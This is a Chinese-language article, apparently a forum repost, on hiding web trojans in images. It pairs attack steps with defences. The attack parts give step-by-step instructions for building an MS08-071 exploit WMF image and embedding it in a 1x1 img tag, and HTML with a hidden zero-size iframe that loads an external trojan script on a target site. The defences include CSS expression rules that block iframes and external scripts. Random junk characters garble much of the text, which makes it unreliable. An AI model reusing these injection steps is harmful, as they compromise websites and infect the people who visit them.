|
|
在网页挂马历史中,图片挂马是非常“古老”的。为什么古老的挂马技术到现在还在大量被使用?为什么它能肆无忌惮?我们又该怎么防范它?身为一名安全工程师,这些你不能不知道…… 9 T7 E. `" P% K, ~" N8 h8 W; {
1 s i$ |! |" c6 b, x
- A* I& w8 p2 q# L5 |6 j) o 锐甲团队李海波:许多著名的论坛都出现过被黑客利用图片挂马的事件,图片挂马是一种典型的溢出攻击,这种攻击非常危险。黑客利用图片挂马的途径花样百出,最典型的途径就是广告方式,曾经就出现过黑客购买某门户网站的广告位置用来挂马的事件。由于某些网站为了方便广告客户更换广告,因此广告图片都不是保存在自己网站空间中的,而是直接指向了客户指定的地址,因此黑客在购买广告位置之后,将指向广告的图片修改为恶意溢出图片,导致了许多用户误认为是该门户网站被黑客挂马。7 g1 e& M, B. `. @
部分网站管理人员在做网站安全维护的时候,往往认为维护一次就可以了,不是忽略了反病毒系统的升级就是忘记了定期审查程序和系统,进行有计划的维护,因此导致许多网站屡屡被黑客溢出攻击。所以一个合格的安全工程师,应该做到面对复杂项目也能有事无巨细地进行审核排查的耐心,时刻关注各种安全公告的发布与更新。这是防堵网络挂马的终极策略。7 K* |; ?+ P/ w2 x
图片挂马为什么备受青睐?
+ ]7 r, ~3 r* ?% \% [6 n 黑客们之所以热衷于用图片挂马的方式抓肉鸡,主要是图片挂马的隐蔽性相对较高,网管想在成千上万张图片中找到有害文件,既费时又费力。此外,通过嵌入的方式将看似没有问题的图片嵌入网页中,本身就很难发现。
/ w" i# }' E+ f7 H% S8 C) ~ 更重要的是,图片永远是捕获肉鸡的最好诱饵。黑客往往只需要将木马挂到网站上之后,再取一个耸人听闻或者暗示性极强的名字,就会有源源不断的肉鸡找上门来。所以图片挂马就如同古代传说中会吃人的美人鱼一样,先用动听的歌声将在大海中航行的水手迷惑,让他们偏离航向,进而自投罗网落入美人鱼布好的陷阱中。
, J$ e8 }# l& Q$ P5 m 图片挂马的主要方式有两种,一种是直接利用JPG漏洞、GDI漏洞或者ANI漏洞等进行溢出挂马,将制作好的溢出文件,直接上传或者链接到入侵的网站中,等待没有打补丁的用户中招。) r" x" b1 H6 Z6 P0 a
另外一种是将图片伪装后挂马。将包含JS代码或者IFRAME代码的网页木马加密后添加到HTML文件中。. t. ?; x' x. Z( q* ?4 c! T
图片挂马攻防实录4 n2 t( r7 M, E+ N& { ^; z
方式1:图片漏洞挂马+ J) h9 Z. t q" R$ u) F: w3 l
攻
5 Q1 p+ u% J m* _; ]9 v. z6 F 这种挂马方式主要利用的是系统或者建站程序的漏洞。我们以MS08-071漏洞为例讲解这种挂马方式。首先打开《MS08-071漏洞溢出生成器》,在地址一栏中输入木马所在地址(图1)。 * }# D; i3 o( Y" a, j, g/ B1 G
- |$ ?' S+ ]# R2 ~ 然后在图片地址选项中选择一张正常的图片(优先选择BMP格式图片),点击“生成”之后,含有恶意代码的图片(WMF格式)就出现在溢出程序所在的目录中了(图2)。 7 B% f t" R! a6 X6 ~! o
! P/ r8 y! r ~0 [) ]
P( r) w2 V! d5 B9 P8 K( K5 D6 S# Y$ W5 P6 R @
小百科:MS08-071漏洞是一个远程代码执行漏洞,如果用户打开特制的 WMF文件、图像文件等,就会触发漏洞,被黑客远程控制。黑客拥有查看、更改、删除数据或者创建新账户的权限。4 X/ \& g9 R, n0 e5 A
恶意图片生成后,接下来将它保存到指定的网站中,在需要挂马的网页中添加正常的图片显示代码::<img src="http://192.168.1.178/ms08071.wmf" width="1" height="1" />,这里的IP地址要根据实际情况进行修改。代码添加完成之后,所有访问者都会在浏览该网页时中招。 L: D% E7 H' j2 J0 ]0 f y
防
) H3 \& o5 R) Y 防范这种图片挂马方式最好的办法就是部署服务器反病毒系统,通常反病毒系统在查杀这种漏洞溢出木马时效率和速度会比较高。在必要时,也要提醒工作单位的员工及时升级系统补丁,防止内部感染。这种通过恶意图片进行溢出挂马的方式目前有JPG、GIF、ANI、GDI等许多种,方法大同小异。! Q# c' t/ t& L& X
此外,由于溢出文件的图片虽然有时候能够正常显示,但是多数时候仍然是无法正常显示的,特别是在用略缩图查看图片文件时,含有恶意代码的溢出图片往往无法正常显示,因此安全工程师可以使用Windows资源管理器中的略缩图查看功能,查看一下网站中哪些图片无法在略缩图模式下正常显示。
! ~7 |$ c7 R( I4 ]' }方式2:图片伪装挂马
. R# o2 C1 F* z 攻
! p# v2 B7 }$ X) |7 m% }) q j( z. u 这种方法比较简单,所以在最近非常盛行。具体操作方法如下:先准备好特制的JS挂马代码,然后打开写字板,输入HTML代码 (将框架内嵌的木马地址设为图片木马网页的地址):' q6 F+ _. X0 M$ n2 a, b
<html>2 b7 b) A8 O0 T& S% }4 W
<iframe. src=" http://特制的JS挂马代码.js" height=0 width=0></iframe>
) L! e! N: D0 O" x- a7 t$ F& f<img src=" 同路径下的图片文件.jpg "></center>; @% T' w. t- f6 k/ h0 t6 X2 l
</html>
, {; x9 y$ g2 C8 a0 Q 将代码插入目标网站内页或另存为HTML再上传到目标网站,当用户访问该网页时,就会中招(图3)。
( W- W8 b+ b# |% k0 ]
3 x+ g9 f# r" u* H- u' p
/ h! Y" d7 _6 }: V: i2 R 这种挂马方式其实是利用图片作为转移网页访问者视线的一种方式。更早之前,我们可以将类似的HTML代码直接另存为GIF文件,上传或者挂到动网论坛中,不过现在直接保存为GIF的方法已经失效了。- n8 a2 x# `" }. L
防* [" f0 `7 s7 ]9 Y' g; V
这种挂马的防范方法跟防范IFRAME挂马的方法类似,通过JS代码就可以阻断外域的JS文件运行。
4 h1 a, d; Z/ ?% s iframe{zimo1:expression(this.src='about:blank',this.outerHTML='');}3 L' k5 f' I4 V% q- b
script{zimo2:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
* W6 O; u9 R, W, }& u4 ] 这段代码立即调用IE私有的execCommand方法来停止页面所有请求,所以外域JS文件也被强制停止下载了,就像我们点了浏览器的“停止”按钮一样。 |
|